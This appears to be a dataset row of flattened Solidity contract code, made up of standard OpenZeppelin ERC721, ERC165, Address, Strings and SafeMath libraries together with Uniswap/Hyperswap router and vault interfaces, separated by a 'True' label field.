function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/IERC165.sol"; | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
// Part: IHyperswapRouter01
interface IHyperswapRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// Part: IUniswapV2Pair
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// Part: IUniswapV2Router01
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// Part: OpenZeppelin/[email protected]/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: IVault
interface IVault is IERC20 {
function deposit(uint256 amount) external;
function withdraw(uint256 shares) external;
function want() external pure returns (address);
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/SafeMath
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
